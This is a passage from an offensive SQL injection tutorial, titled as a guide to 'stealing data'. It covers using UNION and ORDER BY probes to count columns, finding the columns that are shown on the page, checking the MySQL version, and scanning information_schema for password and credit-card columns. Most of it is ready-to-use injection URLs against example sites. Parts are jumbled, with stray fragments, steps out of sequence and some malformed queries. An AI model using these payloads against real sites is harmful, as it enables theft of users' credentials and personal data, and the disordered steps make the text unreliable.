Finding vulnerable sites and database information
Stealing Data by SQL Injection-

• Get Database Name-

Example 1
Get the name of current database.
• http://192.168.254.21:79/sql.asp?uid=1 and db_name()>0

Passing the Error Encountered With UNION-
This section will fix the error we got before- “MySQL Error: Select statements must have the same number of columns in script.php on line 7.”. In order to actually use UNION to steal data, we have to make UNION work with no error so the page can load and can show us the data.

This error occurred because the initial SELECT statement and the UNION ALL SELECT statement we injected had a different number of columns. Whenever you have UNION SELECT (or UNION ALL SELECT), the number of columns must ALWAYS match the number of columns in the first SELECT statement, or you’ll get an error. For example, if the query looked like this:
• SELECT user,pass FROM users WHERE userid = 1SELE UNION ALL SELECT email FROM emails

You will get that error since the first select is selecting two columns (user and pass) while the UNION ALL SELECT is selecting only one (email). So if you did
• SELECT user,pass FROM users WHERE userid = 1 UNION ALL SELECT email,id FROM emails

There wouldn’t be an error and the query would execute successfully since the first select statement is selecting two columns (user and pass) and the second select, the union all select, is also selecting two columns (email and id).

Now to get the number of columns in the first select statement, we can do two things:

1) guess the number of columns till you get it right. For example

(null is a data type that means empty. If you used 1 or ‘the’ – or in other words, an integer or string, you might get a type mismatch error)

If you get an error like “MySQL Error: Select statements must have the same number of columns in script.php on line 7.” then you move on to
• http://site.com/script.php?id=1′ UNION ALL SELECT null,null —

and continue adding a ,null (an extra column) to the URL until you get no error. Then count the nulls and thats the number of columns!

2) use order by – this is WAY easier-

ORDER BY is a statement in SQL that tells the database server how to order the result. For example, if you did
• SELECT title,data FROM news WHERE id=1 ORDER BY news ASC

the server would order the all the output in alphabetical order from a-z. If you changed ASC to DESC it would make it z-a.

The server automatically sees if the column is a string or integer. if its a string, it goes alphabetically, and if its an integer, numerically.

ORDER BY also selects numbers instead of columns. The number is the number of the column in the select statement. For example, if the query was this:
• SELECT title,data FROM news WHERE id=1 ORDER BY 1 ASC

It would choose the first column chosen in the query, which is title (it chooses from title, data). Then it orders the result alphabetically from a-z. If it was:
• http://site.com/script.php?id=1′ ORDER BY 1 — no error
• http://site.com/script.php?id=1′ ORDER BY 2 — no error
• http://site.com/script.php?id=1′ ORDER BY 3 — no error
• SELECT title,data FROM news WHERE id=1 ORDER BY 2 ASC

It would use the second column selected, data, and order it by that.

So we can take advantage of this and try numbers from 1 on in the URL. Once we hit an error saying that the column is invalid, we know that the last number to NOT give an error is the number of columns. Here’s an example:

• http://site.com/script.php?id=1′ ORDER BY 4 — error

error – “MySQL Error: No column number ‘4’ in WHERE clause in script.php on line 7.”

So we know that 3, the last number to not give an error, is the number of columns in the first select!

Now lets move on to the next step!

5) Craft a union statement that doesn’t cause an error & see which columns are outputted

So now that we know the number of columns, we need to make a union statement and see which columns are outputted to the site so we know which columns we can use to retrieve and output our data to the screen. This is generally a two step process.

1) First we craft the union select statement( remember to use union all) which numbers as the columns. An example:

• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,3 —

If there is no error, you look at the screen and check which numbers are displayed in the place data would normally be put (for example, in the place where the article title would be, check if a number is there).

If the numbers are on the screen, you know you can use the columns with those numbers to display stolen data. The other columns that aren’t displayed are useless.

For example, if you see the number 2 in the title of the page and a number 3 where the article is usually displayed, you know that you can use the second and third column (where you put the 2 and 3 in the union all select 1,2,3 –) to display data you will steal from the database to the page.

Now if you get an error when you use all numbers like: “MySQL Error: Cant convert int in script.php on line 7.” then you know that one column cant be a number, so you should move to step 2.

2) Since we know that we cant go all out and put all integers, we need to use null. Null never causes a type conversion error since its just an empty data holder. So we try
• SELECT title,data,author FROM news WHERE id= ‘[your data from the url]’
• http://site.com/script.php?id=1′ UNION ALL SELECT null,null,null —

Now if you can an error, there is a good chance the script has TWO select statements. For example, first it can do:
• SELECT data,time FROM news WHERE id= ‘[your data from the url]’

then in a later line in the script it uses the id value from the url again in another select statement like this:
• SELECT title,data,author FROM news WHERE id= ‘1’ UNION ALL SELECT null,null,null —

Now, the first select statment would be like this:
• SELECT date,time FROM news WHERE id = ‘1’ UNION ALL SELECT null,null,null —

but the second will be

This would cause an error since the second query has ONLY TWO columns in the first select statement (time ,year), while the union all select has THREE columns. This will cause another error saying select statement need the same number of columns. Now if you change the UNION ALL SELECT to have two nulls, then the first select would cause an error.

Unfortunately, there is no way around this in MySQL at the moment. (in MsSQL there is, however). A good way to double check that its a multi select and not that you messed up the number of columns in the UNION select statement is to cause an error like we did before, doing
• http://site.com/script.php?id=1′ UNION ALL SELECT null,null,null —
• http://site.com/script.php?id=1′

Say you got an error like this:

“MySQL Syntax Error By ‘1” In file script.php On Line 7.”

Then do the union all select url like this:

say you get an error like this:

“MySQL Error: Select statements must have the same number of columns in script.php on line 18.”

Now look at the two errors. The first is on line 7, and the second on line 18. Now that you know that two separate lines of code caused the error, you know that two separate queries caused the error and it is in fact a multi select, which you cant get around.

Keep in mind that not all sites have errors that verbose. Some just say “error”. Then you would have to double check the columns and make sure you didn’t make a mistake.

So lets say there is no multi select. We left off at :
• http://site.com/script.php?id=1′ UNION ALL SELECT 1,null,null —

• http://site.com/script.php?id=1’ UNION ALL SELECT null,null,null —

Now there is no error. So we try this:

We check for two things: an error, and if no error is displayed, check if the number 1 is displayed on the page in a place it wasn’t before, like the title or where the news or author would be.

Say you get the same error as before in step 1:

“MySQL Error: Cant convert int in script.php on line 7.”

Then you know that the first column causes an error, and you should ignore it and switch it back to null.

If it happens that all the columns cause errors or aren’t displayed on the page, you can come back and test it with ‘test’ instead of 1 and see if it displays text or still gives a conversion error. If you get no error AND the word test is displayed on the page, you can then go further and get usernames/passwords and any other text based data, but not data that are integers like dates and credit cards.

So now that we know 1 causes an error, we move on and check column two after we switch 1 back to null.
• http://site.com/script.php?id=1′ UNION ALL SELECT null,2,null —

Now look at the screen. Lets say there is an error. So now we know that 2 also causes an error and cant be used.

So lets change 2 back to null and try 3
• http://site.com/script.php?id=1′ UNION ALL SELECT null,null,3 —

and guess what – no error! now check the page for the number 3. Check any places such as the title bar in your browser and places where data was like where the news was or the author or date. If you don’t find anything, don’t give up, make the number unique like 1232323132 and view the source and see if its displayed in any hidden tags.

If its not displayed, as I said before, you can go back to the other two and try strings like ‘test’ (as long as magic quotes are disabled, or your getting around them like I will explain later), and check if those are displayed.

So now we are left with:
• http://site.com/script.php?id=1′ UNION ALL SELECT null,null,3 –

and we know we can use the 3rd column to display our stolen data! So lets move on to step 6:

Step 6) Check the MySQL version to see if information_schema is present-

This is an easy step!

Information_Schema is a part of the database that holds ALL of the table names and column names stored in that database. You can access it like any other table.

To get tables, you would use information_schema.tables like this:
• SELECT table_name from information_schema.tables

This would return all of the tables that exist in the database.

To get columns you would use information_schema.column
• SELECT column_name from information_schema.columns

This would return all the column names in all the tables of the database.

Information_schema.columns also holds the table names, so you can switch column_name with table_name and use it to get tables too.

Now this luxury is only available in MySQL version 5 and up (6). So to make sure we can use it, we need to use the @@version command to check the version. So lets take our URL and change 3 with @@version.
• http://site.com/script.php?id=1’UNION ALL SELECT null,null,@@version —

Now, check where the 3 was before to see the version.

If the version is like 4.0.22-log, then the MySQL version is 4 and you cant use information_schema.tables, but if its 5.0.1, then you can use information_schema.tables! You can also use the substring method I described before.

Now lets move on to step 7:

Step 7) Retrieve the desired columns

If the version is above or equal to 5, we can scan information_schema for password (or credit card, etc) columns. If not, we have to guess and use clues given to us in errors to find prefixes, tables and columns that we want to steal data from. So for the first part lets assume that information_schema is enabled.

Now we need to scan information_schema for columns that are similar to pass, password, user_pass, etc. ( you can change it around so it will be creditcard, address, phone number, etc)

So, we need to use information_schema.columns and the LIKE operator along with wildchars (%) as I discussed in the basic info section.

So if we were putting queries straight into the db server, it would look like this:
• SELECT column_name FROM information_schema.columns WHERE column_name LIKE ‘%pass%’

(of course, magic quotes will have to be off. If they’re on, you will learn how to get past them later on)

For our vulnerable site, it would look like this:
• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ —

• UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ –

The LIKE ‘%pass%’ is telling the server to scan make sure column_name has a value that is similar to “pass” and can have text before and after it (the wildchars). So it could be pass, userpass, password, etc.

This will return the first column_name that is like pass, with text before and after it (from the wildchars before and after it).

Now say you want the table_name the columns in so you can access it with union. You would simply change column_name to table_name like this:

Now say you don’t like this first column/table, and you want to see if there’s a second. There are two ways we can do this. The first is with limit (which I explained in the basic info section). So you would add limit 0,1 at the end which saying get 1 result starting from the 0th (first for humans, 0 for computers) result.

Then after you get the column/table, to move on you would do limit 1,1 then limit 2,1 etc until it runs out of columns. Here’s an example:
• UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ limit 0,1 —

• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ limit 0,1 —

then record the column and table its in. Lets say the columns userpass and table members. Then we’d change it to:
• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ limit 1,1 —

• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ limit 1,1

then record the info again then. Then we change it to:

• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ limit 2,1 —

• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ limit 2,1 —

etc, until you run out of columns that are like pass.

Now say you didn’t want to use limit. You could also use NOT IN(). For example, say you did
• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’

• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’

and you got the column user_password and table members. Now you wanted to see if there was an admins table with a column like pass. So you would add to the end

AND column_name NOT IN (‘value’). This says choose the first row where the column “column_name” doesn’t have this value. So if you wanted to get the next user column, you would do

• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,column_name

FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ AND column_name NOT IN (‘user_password’) —

or to be more safe, incase the admins table also has the column user_password, you could make it check for the table name like:
• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ AND table_name NOT IN (‘user_password’) —

Then say you got the column password and table backup_members. This is only a backup table, so you want to keep the URL from before and add a ,’backup_members’ to the NOT IN (‘user_password’) like this:
• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ AND table_name NOT IN (‘user_password’, ‘backup_members’) —

and then you would check the table name like this:
• http://site.com/script.php?id=1′ UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE table_name LIKE ‘%pass%’ AND table_name NOT IN (‘user_password’, ‘backup_members’) —

• http://site.com/script.php?id=1′

You would continue adding ,’table_name’ until you finally got to the admins table (if there is one!)

Keep in mind magic quotes must be off for this. Again, you will found out how to bypass magic quotes in times like this later.

Now lets say the MySQL version was only 4 and information_schema IS NOT present. So we would have to use another method to try to get the tables/columns of our interest. Basically, you would first look in the errors and see if it discloses the whole query or at least the table and column (etc MySQL Error in ‘userpass FROM users where id=1”), and the then resort to good old guessing. These two steps mainly revolve around luck and poor error message configuration.

So let me explain the error method first. Lets say you do this:

and get the error:
MySQL Syntax Error in the query ‘SELECT name FROM sb_news WHERE id = 1”

In the above example, the tables have a prefix (sb). Prefixes are usually present in each table if their in one and are very common in sites. Now that you know the prefix, you would guess sb_users, sb_members, sb_admins, sb_accounts, etc. You see that the column has no prefix, so after you get the table you would try username, password, user_password, user_pass, login, etc… If the error was
MySQL Syntax Error in the query ‘SELECT name FROM news WHERE id = 1”

Then you would know the columns have no prefix and you wouldn’t have to guess with the prefix. However errors like this are very uncommon. A more common error would be:
MySQL Error: Syntax error by ‘1’ AND g_embedable=1 LIMIT 1′ at line 1

This would show you the column name in the particular table. This would be useful because you can now assume either all the columns in the database have the g_ prefix, or you could somehow figure out why it has the prefix (for example, if it was a page of games, you could guess that g stood for games), then see how you can modify it for the users table (so if the table was users, it could be u_password, u_pass, u_username, u_user, u_login, etc). Of course, you would have to straight out guess the tables and if they had prefixes.

But once you have this info, how exactly do you check if the table/column exists? You would use a union all select that selected null (nothing) from the table you’re guessing. For example:
• http://site.com/script.php?id=1′ UNION ALL SELECT null,null,null FROM table

(remember to use the right number of columns)

Now if you get an error saying MySQL Error: Table ‘table’ Not found in script.php on line 7 or any error similar, you know the table doesn’t exist.

Once you have guessed the table correctly, then you would have to guess the column. You would do this by changing a null to the column name you guessing and seeing if there was an error. For example:
• http://site.com/script.php?id=1′ UNION ALL SELECT null,null,password from users

If there is no error and the page loads, then you know the column is password. If there is an error saying invalid column, you have to keep guessing. Remember to use a column that does NOT cause a conversion error since the error may be misleading.

Now that you have the column and table you want to steal data from, well move on to the next step!: